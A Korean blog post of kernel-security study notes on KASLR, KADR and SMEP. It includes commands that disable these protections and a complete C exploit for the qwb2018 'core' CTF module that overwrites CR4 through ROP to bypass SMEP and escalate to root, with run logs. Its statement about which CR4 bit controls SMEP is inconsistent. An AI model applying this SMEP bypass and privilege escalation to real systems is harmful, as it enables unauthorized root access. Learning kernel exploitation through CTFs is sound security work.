블로그 이전했습니다. https://jeongzero.oopy.io/
Linux kernel protection
본문 바로가기
컴퓨터 관련 과목/운영체제 & 커널

Linux kernel protection

728x90

1. KASLR


커널의 기본 주소 값을 무작위로 만들어 커널 공격을 구현하기 어렵게 만드는 기능으로 ALSR과 동일한 역할을 한다. 현재 vm에 ubuntu18.04 버전을 사용중이다. 여기선 디폴트로 kaslr이 걸려있다.

현재상태

재부팅 후

prepare_kernel_cred 함수 주소가 달라진걸 확인할수 있다. KASLR은 /etc/default/grub 파일에서 비활성화 시킬수 있다.

# If you change this file, run 'update-grub' afterwards to update
# /boot/grub/grub.cfg.
# For full documentation of the options in this file, see:
#   info -f grub -n 'Simple configuration'

GRUB_DEFAULT=0
GRUB_TIMEOUT_STYLE=hidden
GRUB_TIMEOUT=0
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr" // nokaslr 추가 !!
GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US"

해당 설정을 적용시키려면 'sudo update-grub' 을 조지면 된다.

╭─wogh8732@ubuntu ~ 
╰─$ sudo update-grub           
Sourcing file `/etc/default/grub'
Generating grub configuration file ...
Found linux image: /boot/vmlinuz-5.4.0-56-generic
Found initrd image: /boot/initrd.img-5.4.0-56-generic
Found linux image: /boot/vmlinuz-5.4.0-53-generic
Found initrd image: /boot/initrd.img-5.4.0-53-generic
Found memtest86+ image: /boot/memtest86+.elf
Found memtest86+ image: /boot/memtest86+.bin
done

현재

재부팅 후

kaslr이 비활성화 된걸 볼수 있다. 다시 활성화시키려면 grub파일에서 nokaslr이 아닌

kaslr 로 변경하면 된다. 그럼 이제 커널 주소를 얻는 방법을 살펴보자.

vmlinux 이용

KASLR 이 걸려있지 않다면, 그냥 vmlinux 바이너리에 들어있는 함수주소를 찾고 그걸 사용하면 되지만, 요샌 전부다 걸려있다.

따라서 포너블 풀때처럼 특정 함수의 offset을 구하고, base 주소로 접근하는 방식을 이용하면 된다.

╭─wogh8732@ubuntu /usr/lib/debug/boot 
╰─$ readelf -s vmlinux-5.4.0-56-generic| grep prepare_kernel_cred
108978: ffffffff810ccc80   305 FUNC    GLOBAL DEFAULT    1 prepare_kernel_cred

readelf -s 옵션으로 prepare_kernel_cred 주소를 구한다. kaslr 이 걸려있다면 저 주소를 익스에 갔다써도 의미가 없다.


╭─wogh8732@ubuntu /usr/lib/debug/boot 
╰─$ readelf -S vmlinux-5.4.0-56-generic                          
There are 75 section headers, starting at offset 0x29c0e6e8:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .text             PROGBITS         ffffffff81000000  00200000
       0000000000e00ed1  0000000000000000  AX       0     0     4096
  [ 2] .rela.text        RELA             0000000000000000  132f8d30
       0000000000813210  0000000000000018   I      72     1     8
  [ 3] .notes            NOTE             ffffffff81e00ed4  01000ed4
       00000000000001ec  0000000000000000   A       0     0     4
  [ 4] .rela.notes       RELA             0000000000000000  13b0bf40
       0000000000000048  0000000000000018   I      72     3     8
  [ 5] __ex_table        PROGBITS         ffffffff81e010c0  010010c0
       00000000000082e0  0000000000000000   A       0     0     4
  [ 6] .rela__ex_table   RELA             0000000000000000  13b0bf88
       0000000000031140  0000000000000018   I      72     5     8
  [ 7] .rodata           PROGBITS         ffffffff82000000  01200000

.text 영역의 시작주소를 구하고 두개를 빼면 prepase_kernel_cred 함수의 offset을 구할수 있다.

/proc/kallsyms 이용

KADR 이 걸려있지 않다면 루트 사용자가 아닌 일반 사용자도 /proc/kallsyms 을 통해 커널함수 주소를 얻을수 있다.

💡
kallsym 파일에는 다양한 커널 기능 장치 간의 협력을 보다 쉽게하기 위해 수천 개의 전역 심볼이 기록되어 관리된다

╭─wogh8732@ubuntu ~ 
╰─$ sudo sysctl kernel.kptr_restrict                                      130 ↵
kernel.kptr_restrict = 0 // 0이면 비활성화

╭─wogh8732@ubuntu ~ 
╰─$ cat /proc/kallsyms | grep prepare_kernel_cred                                         130 ↵
ffffffff810ccc80 T prepare_kernel_cred
ffffffff8247b000 r __ksymtab_prepare_kernel_cred
ffffffff82493568 r __kstrtab_prepare_kernel_cred

2. KADR


kadr은 커널 영역의 민감정보를 일반 유저에게 안보여주는 보호기법이다.

  • /boot/vmlinuz*, /boot/System.map*, /sys/kernel/debug/, /proc/slabinfo, /proc/kallsyms

위와 같은 중요한 폴더 및 파일들은 루트 사용자만 확인할수 있다. 일반사용자가 해당 파일을 보면

╭─wogh8732@ubuntu ~ 
╰─$ cat /proc/kallsyms | grep prepare_kernel_cred     
0000000000000000 T prepare_kernel_cred
0000000000000000 r __ksymtab_prepare_kernel_cred
0000000000000000 r __kstrtab_prepare_kernel_cred

이렇게 주소가 0으로 나오는걸 볼 수있다. 만약 KADR을 해제하려면 두가지 옵션을 꺼야한다

1. sudo sysctl -w kernel.kptr_restrict=0
2. sudo sysctl -w kernel.perf_event_paranoid=0

두가지를 명령을 친후 일반 사용자로 다시 확인해보면

╭─wogh8732@ubuntu ~ 
╰─$  sudo sysctl -w kernel.kptr_restrict=0
kernel.kptr_restrict = 0
╭─wogh8732@ubuntu ~ 
╰─$  sudo sysctl -w kernel.perf_event_paranoid=0
kernel.perf_event_paranoid = 0
╭─wogh8732@ubuntu ~ 
╰─$ cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810ccc80 T prepare_kernel_cred
ffffffff8247b000 r __ksymtab_prepare_kernel_cred
ffffffff82493568 r __kstrtab_prepare_kernel_cred

일반 사용자도 커널 주소를 확인 할 수 있다.

3. SMEP


커널은 절대 사용자 공간 메모리를 실행과 접근해서는 안된다. 이러한 규칙은 하드웨어기반으로 막거나, 에뮬레이션을 통해 제한시킬수 있다

  • x86 : SMEP/SMAP
  • ARM : PXN/PAN

[qwb2018] core
참고로 익스코드는 인터넷에 올라온 롸업꺼를 쓰고 분석 위주로 작성했다. 1) 문제 확인 문제파일은 아래에서 다운받을수 있다. https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/QWB2018-core 커널 공부 후 첫 CTF 문제이다. 물론 롸업을 보면서 풀었다.ㅋ 우선 위 깃헙에서 문제파일들중 core_give.tar.gz 만 다운받고 압축을 풀면 아래와 같은 파일들이 나온다. test 폴더는 신경쓰지말고 총 4개의 파일이 있다.
https://wogh8732.tistory.com/314

처음으로 푼 커널 익스 문제는 KASLR을 제외하곤 SMEP은 걸려있지 않았다. 따라서 ret2usr 기법으로 LPE를 진행했다. 이는 커널 모듈이 가지고 있는 bof 취약점을 이용하여 커널영역에서 ret를 조작하고 백업한 user 영역의 스택 포인터를 복원하여 커널 → user 코드 실행이 일어난다.

하지만 이는 smep이 적용된다면, 실행이 안된다. 위 ctf 문제에서 푼 익스코드를 원래대로 실행시키면

╭─wogh8732@ubuntu ~/Desktop/kernel_study/ctf/qwb2018-core/give_to_player 
╰─$ ./start.sh 
qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
[    0.022725] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ ./ex
[+] Success to open /proc/core
[*] Canary @ 00DC34CA54B1851B
[+] commit_creds : 0xffffffff8209c8e0
[+] prepare_kernel_cred : 0xffffffff8209cce0
[+] Finish made trap frame.
[+] Get shell.
/ # id
uid=0(root) gid=0(root)

잘동작이 되지만, start.sh 스크립트에서 smep을 추가하고 돌리면 에러가 뜬다. 노란색 부분이 추가한 부분이다.

qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd  ./test/rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s -cpu kvm64,+smep  \ 
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

[    8.336881] core: called core_writen
[    8.337244] unable to execute userspace code (SMEP?) (uid: 1000)
[    8.338186] BUG: unable to handle kernel paging request at 0000000000400d6b
[    8.338706] IP: 0x400d6b
[    8.339001] PGD 800000000f090067 P4D 800000000f090067 PUD f091067 PMD f089067 PTE ba46025
[    8.339639] Oops: 0011 [#1] SMP PTI
[    8.339900] Modules linked in: core(O)
[    8.340448] CPU: 0 PID: 996 Comm: ex Tainted: G           O     4.15.8 #19
[    8.340820] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[    8.341866] RIP: 0010:0x400d6b
[    8.342131] RSP: 0018:ffffa38d0011fe70 EFLAGS: 00000296
[    8.342660] RAX: 0000000000000000 RBX: 4141414141414141 RCX: 0000000000000000
[    8.343872] RDX: 0000000000000000 RSI: ffffffffc0198500 RDI: ffffa38d0011ff18
[    8.344496] RBP: ffffffffffff0100 R08: 6163203a65726f63 R09: 0000000000000de8
[    8.344943] R10: 0000000000000004 R11: 6e65746972775f65 R12: ffff8c9fcac0f7a0
[    8.345488] R13: 000000006677889a R14: ffffffffffff0100 R15: 0000000000000000
[    8.346040] FS:  0000000001db6880(0000) GS:ffff8c9fcbe00000(0000) knlGS:0000000000000000
[    8.346617] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    8.347010] CR2: 0000000000400d6b CR3: 000000000f08e000 CR4: 00000000001006f0

dmesg를 확인해보면, IP는 user 영역으로 정상적으로 이동했지만 'unable to execute userspace code' 가 출력되었다. 또한 추가적으로 CR4 레지스터 값을 기억하자. 뒤에서 설명할꺼임

실제 우분투 환경에서는 /etc/default/grub 파일에서 disable 시킬수 있다.

GRUB_DEFAULT=0
GRUB_TIMEOUT_STYLE=hidden
GRUB_TIMEOUT=0
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr nosmep"
GRUB_CMDLINE_LINUX="find_preseed=/preseed.cfg auto noprompt priority=critical locale=en_US"
----------------------------------------------------------
sudo update-grub 으로 적용

CR4 Register

컨트롤 레지스터는 프로세서의 운영 모드, 현재 실행중인 태스크의 특성을 결정하는 데 이용된다.

  • x86 : CR0, CR1, CR2, CR3, CR4
  • x86-64 : CR0, CR1, CR2, CR3, CR4, CR8

이 중에서도 CR4 레지스터는 프로세스에서 지원하는 각종 확장 기능들을 제어하며 SMEP, SMAP 기능들도 제어한다. CR4 레지스터에서 SMEP는 20번째 bit, SMAP은 21번째 bit이다. 1이 활성화, 0이 비활성화이다

자 그럼 아까 dmesg에서 CR4 값은 0x0000000001006f0 이였다. 이를 2진수로 나태나면

1 0 0 0 0 0 0 0 0 0 1 1 0 1 1 1 1 0 0 0 0

이렇게 되고 맨 좌측 비트가 21번째 비트 즉 SMEP이 enable된것을 확인할 수 있다.

SMEP bypass

SMEP은 ROP 혹은 위에서 설명한 CR4 레지스터의 21번 비트를 변경하여 SMEP을 비활성화 시켜서 우회할수 있다.

qwb 익스코드에

╭─wogh8732@ubuntu ~/Desktop/kernel_study/ctf/qwb2018-core/give_to_player 
╰─$ rp-lin-x64 -f vmlinux -r 1|grep "pop rdi ; ret" | head -1
 pop rdi ; ret  ;  (1 found)
╭─wogh8732@ubuntu ~/Desktop/kernel_study/ctf/qwb2018-core/give_to_player 
╰─$ ROPgadget --binary vmlinux| grep "0xffffffff81075014"              
0xffffffff81075014 : mov cr4, rdi ; push rdx ; popfq ; ret

cr4 레지스터를 수정하는 로직만 체이닝 해주면 된다. 현재 21번 비트를 0으로 만들면

000000000011011110000(2)→ 0x6F0 이다. rdi에 0x6f0을 넣고 조지면 된다.

참고로 kalr, pti는 끄고 smep만 활성화시켰다

qemu-system-x86_64 \
-m 1024M \
-kernel ./bzImage \
-initrd  ./test/rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nopti nokaslr" \
-s -cpu kvm64,+smep \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

그리고 smep만 활성화 시키고 아래 익스코드를 돌렸는데, 자꾸 안돼서 삽질하다가 pti 보호기법도 비활성화 시켜야 한다는걸 알았다. pti란 paging table isolation으로

https://sf-jam.tistory.com/102

커널 모드에서는 상관없지만, 유저모드에서는 커널 영역의 극히 일부만을 접근가능하게 막아놓은걸 말한다. 커널영역에서 일을 처리하고 다시 유저모드로 넘어올때 CR3 레지스터를 확인하여 특정 로직을 수행한다.(체크용인 듯)

즉 cr3 레지스터를 이용하여 유저모드에서의 접근 가능한 메모리 영역과, 커널 모드에서 접근가능한 메모리 영역을 다르게한다.

💡
cr3 레지스터는 페이징 테이블을 관리하는 레지스터 역할이다

qemu 부팅 옵션중에 cpu kvm64 를 줬기 때문에 자동적으로 pti 보호기법이 적용된다. (kvm은 PTI가 적용된다고 함) 따라서 nopti를 추가로 준것이다

#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define read_num 1719109787
#define off_num 1719109788
#define write_num 1719109786

unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);

struct trap_frame
{
   void *user_rip;        // instruction pointer
   uint64_t user_cs;      // code segment
   uint64_t user_rflags;  // CPU flags
   void *user_rsp;        // stack pointer
   uint64_t user_ss;      // stack segment
} __attribute__((packed));
struct trap_frame tf;


unsigned long kallsym_getaddr(const char* str)
{
	FILE* fd;
	char fbuf[256];
	char addr[32];

	fd=fopen("/proc/kallsyms","r");
	memset(fbuf,0,sizeof(fbuf));

        while(fgets(fbuf,256,fd) != NULL)
        {
                char *p = fbuf;
                char *a = addr;
                if(strlen(fbuf) == 0)
                {        continue;}
                memset(addr,0x00,sizeof(addr));
                fbuf[strlen(fbuf)-1] = '\0';
                while(*p != ' ')
                {*a++ = *p++;}
                p += 3;
                if(!strcmp(p,str))
		{
			fclose(fd);
                        return strtoul(addr, NULL, 16);
        	}
	}
}

void shell()
{
   printf("[+] Get shell.\n");
   execl("/bin/sh","sh",NULL);
}
void set_trapframe()
{
   asm("mov tf+8, cs;"
       "pushf; pop tf+16;"
       "mov tf+24, rsp;"
       "mov tf+32, ss;"
      );
   tf.user_rip = &shell;
   printf("[+] Finish made trap frame.\n");
}
void payload()
{
   commit_creds(prepare_kernel_cred(0));
   asm("swapgs;"
       "mov %%rsp, %0;"
       "iretq;"
  : : "r" (&tf));
}
int main()
{
	int fd = open("/proc/core",O_RDWR);
	size_t rop[0x100];
	static char str_buf[512]={0,};
	size_t canary;
	if(!fd)
	{
		printf("[-] Failed to open /proc/core\n");
		return -1;
	}	
	printf("[+] Success to open /proc/core\n");

	char val[8]={0};

	ioctl(fd,off_num,0x40);
	ioctl(fd,read_num,str_buf);
	memcpy(val,str_buf,8);
	canary = ((size_t *)val)[0];

	commit_creds=kallsym_getaddr("commit_creds");
	prepare_kernel_cred=kallsym_getaddr("prepare_kernel_cred");
       printf("[+] commit_creds : 0x%lx\n",commit_creds);
       printf("[+] prepare_kernel_cred : 0x%lx\n",prepare_kernel_cred);
	//0x40 + canary + 0x10 + rip
	 printf("[+]canary: %p\n", (void *)canary);   
	   int k=8;
	   memset(&rop[0],0x41,0x40);
           rop[k++]=canary;
	   rop[k++]=0;
           rop[k++]=0xffffffff81000b2f; //pop rdi;ret;
           rop[k++]=0x6f0; // cr4 21 bit disable
           rop[k++]=0xffffffff81075014; // mov cr4,rid ...
	   rop[k++]=(size_t)payload;
	   //rop[k++]=0x4242424242424242;
	   printf("k is %d\n",k);
	   printf("%d\n",sizeof(rop));
	   set_trapframe();
  	   write(fd,rop,8*(k+1));
	
	ioctl(fd,write_num,0xffffffffffff0000|0x100); 
}

저렇게 해서 돌려보면

╰─$ ./start.sh 
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ ./smep2
[+] Success to open /proc/core
[+] commit_creds : 0xffffffff8109c8e0
[+] prepare_kernel_cred : 0xffffffff8109cce0
[+]canary: 0x3c6b97470b7f9400
k is 14
2048
[+] Finish made trap frame.
[+] Get shell.
/ # id
uid=0(root) gid=0(root)
-----------------------------------------------------------
/ # cat /proc/cpuinfo 
....
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc nopl xtopology cpuid pni cx16 hypervisor smep
bugs		: cpu_meltdown spectre_v1 spectre_v2

smep 걸려있어도 LPE 성공!

참고자료

728x90